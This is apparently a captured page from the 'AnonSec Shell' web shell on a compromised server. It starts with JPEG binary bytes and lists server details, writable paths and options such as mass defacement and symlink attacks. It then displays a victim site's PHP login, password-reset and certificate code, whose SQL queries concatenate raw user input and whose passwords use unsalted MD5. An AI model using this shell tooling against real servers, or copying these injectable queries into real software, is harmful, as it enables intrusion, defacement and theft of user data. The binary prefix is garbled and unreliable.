JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/www_esami/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/www_esami/api.php
<?php

  function is_session_started(){
       if ( php_sapi_name() !== 'cli' ) {
           if ( version_compare(phpversion(), '5.4.0', '>=') ) {
               return session_status() === PHP_SESSION_ACTIVE ? TRUE : FALSE;
           } else {
               return session_id() === '' ? FALSE : TRUE;
           }
       }
       return FALSE;
   }

   if ( is_session_started() === FALSE ){
      session_start();
   }

   if (!isset($_SESSION['utente'])){
      header("Location: index.php");
   }

   function random_strings($length_of_string)
{

    // String of all alphanumeric character
    $str_result = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

    // Shuffle the $str_result and returns substring
    // of specified length
    return substr(str_shuffle($str_result), 
                       0, $length_of_string);
}


   function get_http_response_code($url) {
        $headers = get_headers($url);
        return substr($headers[0], 9, 3);
    }

    function putFileS3Private($tipo, $id, $urllocalefile){
        // Create an SDK class used to share configuration across clients.

        /*  use Aws\Common\Exception\MultipartUploadException;
            use Aws\S3\MultipartUploader;
            use Aws\S3\S3Client;
        */  

        $urllocalefile_nopath = end(explode("/",$urllocalefile));
    
        $awsConfig = AWSCONFIG;

        $bucket = $awsConfig['bucket'];
        $keyname = $awsConfig['cliente'];

        $uploadLink = $keyname."/".$tipo."/".$id."/".$urllocalefile_nopath;
        // Send a PutObject request and get the result object.

        $sdk = new Aws\Sdk($awsConfig);
        // Use an Aws\Sdk class to create the S3Client object.
        $s3 = $sdk->createS3();     

        
        try {
            $result = $s3->putObject(
                array(
                    'Bucket'=>$bucket,
                    'Key' =>  $uploadLink,
                    'SourceFile' => $urllocalefile //,
                    //'StorageClass' => 'REDUCED_REDUNDANCY'
                )
            );
            
            
            
            return $result['ObjectURL'];
        
        }catch(Exception $e){
            //echo $e->getMessage();
            
            return false;//$e->getMessage() . PHP_EOL;
        }
        //fine for
    }

    function zippami($source, $destination)
    {
        if (!extension_loaded('zip') || !file_exists($source)) {
            return false;
        }

        $zip = new ZipArchive();
        if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
            return false;
        }

        $source = str_replace('\\', '/', realpath($source));

        if (is_dir($source) === true)
        {

            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);

            foreach ($files as $file)
            {
                $file = str_replace('\\', '/', $file);

                // Ignore "." and ".." folders
                if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
                    continue;

                $file = realpath($file);

                if (is_dir($file) === true)
                {
                    $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
                }
                else if (is_file($file) === true)
                {
                    //echo "Andromeda:".str_replace($source . '/', '', $file)."<br>";
                    $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                }
            }
        }
        else if (is_file($source) === true)
        {
            $zip->addFromString(basename($source), file_get_contents($source));
        }
        
        $toRet= $zip->close();

        return $toRet;
    }

   //require getcwd().'/wp-content/themes/design-italia/vendor/autoload.php';
   
   function randomPassword() {
        $alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
        $pass = array(); //remember to declare $pass as an array
        $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
        for ($i = 0; $i < 8; $i++) {
            $n = rand(0, $alphaLength);
            $pass[] = $alphabet[$n];
        }
        return implode($pass); //turn the array into a string
    }

   $debug=false;
    $email=null;
    $password = null;
    $messaggio=null;
    $errore = null;
       //connessione piattaforma
   include "connection.php";
   if($debug){
      echo HOST.'-'.DATABASE."-".USER."-".PASSWORD;
   }
   if(isset($_GET['email']) && $_GET['email']){
      $email = $_GET['email'];
    }
    if(isset($_POST['email']) && $_POST['email']){
      $email = $_POST['email'];
    }
    

    if(isset($_GET['type']) && (array_key_exists("type", $_GET) || $_GET['type']=="recupera_password")){
      $type = $_GET['type'];
    }else{
      $type = "login";
    }

    if(isset($_POST['password']) && $_POST['password']){
      $password = $_POST['password'];
    }

  if($type == "login"){
    if($email && $password){ 
         
      $sql = "SELECT * from cliente WHERE email = '".$email."' and password = '".md5($password)."'";
      foreach($db->query($sql) as $row) {$utente = $row;$check=true;}
      if($utente){
        $_SESSION['utente']= $utente;
        if(!$utente['dattilografia']){
            $sql = "SELECT * from clientedelcentro WHERE email = '".$email."' and password = '".md5($password)."'";
            foreach($db->query($sql) as $row) {$utente = $row;}
            if($utente['dattilografia']){
              $_SESSION['utente']= $utente;
              $checkone="clientedelcentro";
            }
        }else{
          $checkone="cliente";
        }
      }else{
          $sql = "SELECT * from clientedelcentro WHERE email = '".$email."' and password = '".md5($password)."'";
          foreach($db->query($sql) as $row) {$utente = $row;$check=true;}
          if(!$checkone){    
            $_SESSION['utente']= $utente;
            $checkone="clientedelcentro";
          }
      }
      if($checkone=="clientedelcentro"){
        $sql_ins_log = "INSERT INTO clientedelcentro_frontend_sessions (idcliente, idsession) VALUES (".$_SESSION['utente']['idclientedelcentro'].", '".session_id()."')";
        $db->query($sql_ins_log);
      }else{
          $sql_ins_log = "INSERT INTO cliente_frontend_sessions (idcliente, idsession) VALUES (".$_SESSION['utente']['idcliente'].", '".session_id()."')";
          $db->query($sql_ins_log);
      }

      if($check || $checkone){
        
        header("Location: index.php");
        die;
      }

      $errore = "Credenziali non valide, si prega di riprovare o di reimpostare la password.";
    }

  }else if($type=="recupera_password"){
    if($email){ 
         
      $sql = "SELECT * from cliente WHERE email = '".$email."'"; //" and password = '".md5($password)."'";
      foreach($db->query($sql) as $row) {$utente = $row;}
      if($utente['idcliente']){
        
        //creo nuova pass password
        $new_pass = randomPassword();


        //Invio Email
        $subject_utente = "Richiesta generazione nuova password - ". $_SERVER['HTTP_HOST'];
        $messaggio_utente = "Gentile utente, <br>come richiesto troverai di seguito la nuova password per accedere al portale, le consigliamo di cambiarla al primo accesso. <br><br>Password: ".$new_pass."<br><br>Se hai bisogno di maggiori informazioni, non esitare a contattarci!<br><br>Grazie per averci preferito!";//<br><br>ASCII Formazione<br>Via Irno 101, 84135 - Salerno<br>Email: info@asciiformazione.it<br>Tel. 089-98.49.407, 089-28.64.695";
        
        //INVIO EMAIL UTENTE FINALE
        $to_utente = $utente['email'];
        $headers_utente = array('Content-Type: text/html; charset=UTF-8');
        wp_mail( $to_utente, $subject_utente, $messaggio_utente, $headers_utente );

        //aggiorno password sul db
        $sql_update = "UPDATE cliente SET password = '".md5($new_pass)."' WHERE email = '".$email."'";
        $db->query($sql_update);

        $messaggio= "Gentile utente, le è stata inviata una mail contenente la nuova password. <br>Grazie di aver utilizzato il nostro servizio.";
      }else{
        $errore = "Credenziali non valide, si prega di riprovare.";
      }

    }
  }
  



   function getslug($nome)
   {  
      $toRet = basename(parse_url($nome, PHP_URL_PATH));
      $slug = $toRet;
      return $toRet;
   }

   function getUser($email, $db){
      $toret = [];
      $sql = "SELECT * from cliente WHERE email = '".$email."'"; //" and password = '".md5($password)."'";
      foreach($db->query($sql) as $row) {
        $toret= $row;
      }   
      $sql = "SELECT * from clientedelcentro WHERE email = '".$email."'"; //" and password = '".md5($password)."'";
      foreach($db->query($sql) as $row) {
        if($toret){
            $toret = mergeDalCentroAscii($toret, $row);
        }else{
            $toret = $row;
        }
      }
  //    echo "Riprovare più tardi";
//      print_r($toret); die;
      return $toret;
   }

   function mergeDalCentroAscii($user, $utente){
        if($utente['dattilografia_success'] && $utente['dattilografia_success_code']){
            $user['dattilografia_success']=$utente['dattilografia_success'];
            $user['dattilografia_success_code']=$utente['dattilografia_success_code'];
        }
        if($utente['dattilografia']){
            $user['dattilografia']=$utente['dattilografia'];
        }

        if($utente['coding_success'] && $utente['coding_success_code']){
            $user['coding_success']=$utente['coding_success'];
            $user['coding_success_code']=$utente['coding_success_code'];
        }
        if($utente['coding']){
            $user['coding']=$utente['coding'];
        }

        if($utente['lim_success'] && $utente['lim_success_code']){
            $user['lim_success']=$utente['lim_success'];
            $user['lim_success_code']=$utente['lim_success_code'];
        }
        if($utente['lim']){
            $user['lim']=$utente['lim'];
        }

        if($utente['tablet_success'] && $utente['tablet_success_code']){
            $user['tablet_success']=$utente['tablet_success'];
            $user['tablet_success_code']=$utente['tablet_success_code'];
        }
        if($utente['tablet']){
            $user['tablet']=$utente['tablet'];
        }

        if($utente['sicurezza_success'] && $utente['sicurezza_success_code']){
            $user['sicurezza_success']=$utente['sicurezza_success'];
            $user['sicurezza_success_code']=$utente['sicurezza_success_code'];
        }
        if($utente['sicurezza']){
            $user['sicurezza']=$utente['sicurezza'];
        }

        if($utente['inglese']){
            $user['inglese']=$utente['inglese'];
        }

        if($utente['dsga']){
            $user['dsga']=$utente['dsga'];
        }
        
        return $utente;
   }


   require '../app/dependencies/aws/aws-autoloader.php';

    if(isset($_GET['method']) && $_GET['method'] == 'scaricacertificatodattilografia'){


        //public function scaricaCertificatoDattilografia($idsessione, $idcliente,  $tipo, $force=false){
        
        if($_SESSION['utente']['idclientedelcentro']){
            $tipo= 1;
        }else{
            $tipo= 0;
        }

        $utente = getUser($_SESSION['utente']['email'], $db);


        if($utente['dattilografia_success'] && $utente['dattilografia_success_code']) {   

            $awsConfig = AWSCONFIG;
            //print_r($utente);die;
            if($tipo==1){
              $idcliente=$utente['idclientedelcentro'];
              $codice_centro= "ETC-".$utente['idcentro']."IT";  
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clientidelcentro/".$idcliente."/".$nome_file_certificato.".pdf";
            }else{
              $codice_centro= "ETC-00001IT";
              $idcliente=$utente['idcliente'];
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clienti/".$idcliente."/".$nome_file_certificato.".pdf";
            }
            
            

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();

            $force = false;

            // Check HTTP status code
            if(!$force){
                if (get_http_response_code($presignedUrl)==200) {
                    //se c'è il file lo mostro a video
                    header("Location: $presignedUrl");
                    die;
                }
            }

            //se non c'è il file su s3 genero   
            

            //recupero il logo del centro
            $path_logo = "/var/www/ascii/generator_pdf/loghi_centri/".$utente['idcentro'].".png";
            

                    // if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                    //  //se è un centro con il logo
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia_centro/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/word/";
                 //        $url_qr_code_image = $path_word."media/image3.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image3.png";   
                 //        //copio logo centro per generazione
                 //        unlink($path_tmp."media/image1.png");
                 //        copy($path_logo, $path_tmp."media/image1.png");

                 //        // Enter the name of directory 
              //        $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/";

                    // }else{
                    //  //altrimenti
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia/word/";
                 //        $url_qr_code_image = $path_word."media/image2.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image2.png";
                 //        // Enter the name of directory 
              //            $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia/";
            // }

            if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                //se è un centro con il logo
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";  
                //copio logo centro per generazione
                unlink($path_tmp."media/image1.png");
                copy($path_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);

                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";

            }else{
                //altrimenti
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";
                //copio logo vuoto per generazione
                unlink($path_tmp."media/image1.png");
                $path_no_logo = "/var/www/ascii/generator_pdf/loghi_centri/nologo.png";
                copy($path_no_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);
                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";
            }




            $documento = $path_word."document.xml";
            $documento_tmp = $path_tmp."document.xml";
            $doc = file_get_contents($documento);
            
           
            $data_esame_superato_=strtotime($utente["dattilografia_date_success"]);
            switch (date( 'm', $data_esame_superato_ )) {
                case '01':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GENNAIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '02':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " FEBBRAIO " .date( 'Y', $data_esame_superato_ );
                    break;
            
                case '03':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MARZO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '04':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " APRILE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '05':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MAGGIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '06':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GIUGNO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '07':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " LUGLIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '08':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " AGOSTO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '09':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " SETTEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '10':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " OTTOBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '11':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " NOVEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '12':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " DICEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
            
            }
            
            $codice_certificato=$utente["dattilografia_success_code"];
            $link_verifica_certificato = "https://www.asciiformazione.it/verifica-certificato?code=".$codice_certificato;

            $doc = str_replace("nome_cognome", strtoupper($utente['ragioneSociale']), $doc);
            $doc = str_replace("codice_fiscale", strtoupper($utente['codiceFiscale']), $doc);
            $doc = str_replace("data_esame", $data_esame_superato, $doc);
            $doc = str_replace("codice_certificato", $codice_certificato, $doc);
            $doc = str_replace("codice_ce", $codice_centro, $doc);
            $doc = str_replace("linkverificacert", $link_verifica_certificato, $doc);

            $qr_code_generato = false;
            //genero codice qr
            for ($i=0; $i < 10; $i++) { 
                if($qr_code_generato === false){
                    $qr_code_generato = file_get_contents('https://quickchart.io/chart?chs=300x300&cht=qr&chld=L|0&chl=http://www.asciiformazione.it/verifica-certificato?code='.$codice_certificato);
                }else{
                    break;
                }
            }
            

            //rimuovo old
            unlink($url_tmp_qr_code_image);
            unlink($documento_tmp);

            

            //aggiungo a certificato tmp
            file_put_contents($url_tmp_qr_code_image, $qr_code_generato);
            chown($url_tmp_qr_code_image, "ec2-user");
            chmod($url_tmp_qr_code_image, 0775);
            file_put_contents($documento_tmp, $doc);
            chown($documento_tmp, "ec2-user");
            chmod($documento_tmp, 0775);

            
            //zip

              
              
            // Enter the name to creating zipped directory 
            $zipcreated = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".zip"; 
            $wordrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".docx"; 
            $pdfrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".pdf"; 


               
            if(!zippami($pathdir, $zipcreated)){
                echo "Errore nella generazione del certificato zip, si prega di riprovare!"; die;
            }


            
            rename($zipcreated, $wordrename);

            chown($wordrename, "ec2-user");
            chmod($wordrename, 0775);

            unlink($nome_file_certificato.".zip");
            //genera pdf
            include '../app/helpers/converterPdf.php';

            $converter = new OfficeConverter($wordrename, null, "/var/www/ascii/generator_pdf/libreoffice/program/soffice.bin");
            $converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
            //  $converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

            //to specify output directory, specify it as the second argument to the constructor
            //  $converter = new OfficeConverter($wordrename, $pathdir);

            chown($pdfrename, "ec2-user");
            chmod($pdfrename, 0775);

            if(!$converter){
                echo "Errore in conversione"; die;
            }
            

            unlink($wordrename);

            
            //upload s3
            if($tipo){
                $url = putFileS3Private("clientidelcentro", $idcliente, $pdfrename); 
            }else{
                $url = putFileS3Private("clienti", $idcliente, $pdfrename);  
            }

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();
            
            if($presignedUrl){
                unlink($pdfrename);
                header("Location: $presignedUrl");
                die;
            }else{
                echo "Errore nella generazione del certificato, si prega di riprovare!"; die;
            }           

        }else{
            header("Location: error_esame.php");
            

        }


    }

    if(isset($_GET['method']) && $_GET['method'] == 'scaricacertificatocoding'){

        echo "Il certificato non è ancora disponibile riprovare tra qualche giorno!";die;
        //public function scaricaCertificatoDattilografia($idsessione, $idcliente,  $tipo, $force=false){
        
        if($_SESSION['utente']['idclientedelcentro']){
            $tipo= 1;
        }else{
            $tipo= 0;
        }

        $utente = getUser($_SESSION['utente']['email'], $db);



        if($utente['coding_success'] && $utente['coding_success_code']) {   

            $awsConfig = AWSCONFIG;
            //print_r($utente);die;
            if($tipo==1){
              $idcliente=$utente['idclientedelcentro'];
              $codice_centro= "ETC-".$utente['idcentro']."IT";  
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clientidelcentro/".$idcliente."/".$nome_file_certificato.".pdf";
            }else{
              $codice_centro= "ETC-00001IT";
              $idcliente=$utente['idcliente'];
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clienti/".$idcliente."/".$nome_file_certificato.".pdf";
            }
            
            

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();

            $force = false;

            // Check HTTP status code
            if(!$force){
                if (get_http_response_code($presignedUrl)==200) {
                    //se c'è il file lo mostro a video
                    header("Location: $presignedUrl");
                    die;
                }
            }

            //se non c'è il file su s3 genero   
            

            //recupero il logo del centro
            $path_logo = "/var/www/ascii/generator_pdf/loghi_centri/".$utente['idcentro'].".png";
            

                    // if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                    //  //se è un centro con il logo
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia_centro/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/word/";
                 //        $url_qr_code_image = $path_word."media/image3.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image3.png";   
                 //        //copio logo centro per generazione
                 //        unlink($path_tmp."media/image1.png");
                 //        copy($path_logo, $path_tmp."media/image1.png");

                 //        // Enter the name of directory 
              //        $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/";

                    // }else{
                    //  //altrimenti
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia/word/";
                 //        $url_qr_code_image = $path_word."media/image2.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image2.png";
                 //        // Enter the name of directory 
              //            $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia/";
            // }

            if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                //se è un centro con il logo
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";  
                //copio logo centro per generazione
                unlink($path_tmp."media/image1.png");
                copy($path_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);

                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";

            }else{
                //altrimenti
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";
                //copio logo vuoto per generazione
                unlink($path_tmp."media/image1.png");
                $path_no_logo = "/var/www/ascii/generator_pdf/loghi_centri/nologo.png";
                copy($path_no_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);
                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";
            }




            $documento = $path_word."document.xml";
            $documento_tmp = $path_tmp."document.xml";
            $doc = file_get_contents($documento);
            
           
            $data_esame_superato_=strtotime($utente["dattilografia_date_success"]);
            switch (date( 'm', $data_esame_superato_ )) {
                case '01':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GENNAIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '02':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " FEBBRAIO " .date( 'Y', $data_esame_superato_ );
                    break;
            
                case '03':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MARZO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '04':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " APRILE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '05':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MAGGIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '06':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GIUGNO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '07':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " LUGLIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '08':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " AGOSTO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '09':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " SETTEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '10':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " OTTOBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '11':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " NOVEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '12':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " DICEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
            
            }
            
            $codice_certificato=$utente["dattilografia_success_code"];
            $link_verifica_certificato = "https://www.asciiformazione.it/verifica-certificato?code=".$codice_certificato;

            $doc = str_replace("nome_cognome", strtoupper($utente['ragioneSociale']), $doc);
            $doc = str_replace("codice_fiscale", strtoupper($utente['codiceFiscale']), $doc);
            $doc = str_replace("data_esame", $data_esame_superato, $doc);
            $doc = str_replace("codice_certificato", $codice_certificato, $doc);
            $doc = str_replace("codice_ce", $codice_centro, $doc);
            $doc = str_replace("linkverificacert", $link_verifica_certificato, $doc);

            $qr_code_generato = false;
            //genero codice qr
            for ($i=0; $i < 10; $i++) { 
                if($qr_code_generato === false){
                    $qr_code_generato = file_get_contents('https://quickchart.io/chart?chs=300x300&cht=qr&chld=L|0&chl=http://www.asciiformazione.it/verifica-certificato?code='.$codice_certificato);
                }else{
                    break;
                }
            }
            

            //rimuovo old
            unlink($url_tmp_qr_code_image);
            unlink($documento_tmp);

            

            //aggiungo a certificato tmp
            file_put_contents($url_tmp_qr_code_image, $qr_code_generato);
            chown($url_tmp_qr_code_image, "ec2-user");
            chmod($url_tmp_qr_code_image, 0775);
            file_put_contents($documento_tmp, $doc);
            chown($documento_tmp, "ec2-user");
            chmod($documento_tmp, 0775);

            
            //zip

              
              
            // Enter the name to creating zipped directory 
            $zipcreated = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".zip"; 
            $wordrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".docx"; 
            $pdfrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".pdf"; 


               
            if(!zippami($pathdir, $zipcreated)){
                echo "Errore nella generazione del certificato zip, si prega di riprovare!"; die;
            }


            
            rename($zipcreated, $wordrename);

            chown($wordrename, "ec2-user");
            chmod($wordrename, 0775);

            unlink($nome_file_certificato.".zip");
            //genera pdf
            include '../app/helpers/converterPdf.php';

            $converter = new OfficeConverter($wordrename, null, "/var/www/ascii/generator_pdf/libreoffice/program/soffice.bin");
            $converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
            //  $converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

            //to specify output directory, specify it as the second argument to the constructor
            //  $converter = new OfficeConverter($wordrename, $pathdir);

            chown($pdfrename, "ec2-user");
            chmod($pdfrename, 0775);

            if(!$converter){
                echo "Errore in conversione"; die;
            }
            

            unlink($wordrename);

            
            //upload s3
            if($tipo){
                $url = putFileS3Private("clientidelcentro", $idcliente, $pdfrename); 
            }else{
                $url = putFileS3Private("clienti", $idcliente, $pdfrename);  
            }

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();
            
            if($presignedUrl){
                unlink($pdfrename);
                header("Location: $presignedUrl");
                die;
            }else{
                echo "Errore nella generazione del certificato, si prega di riprovare!"; die;
            }           

        }else{
            header("Location: error_esame.php");
            

        }


    }

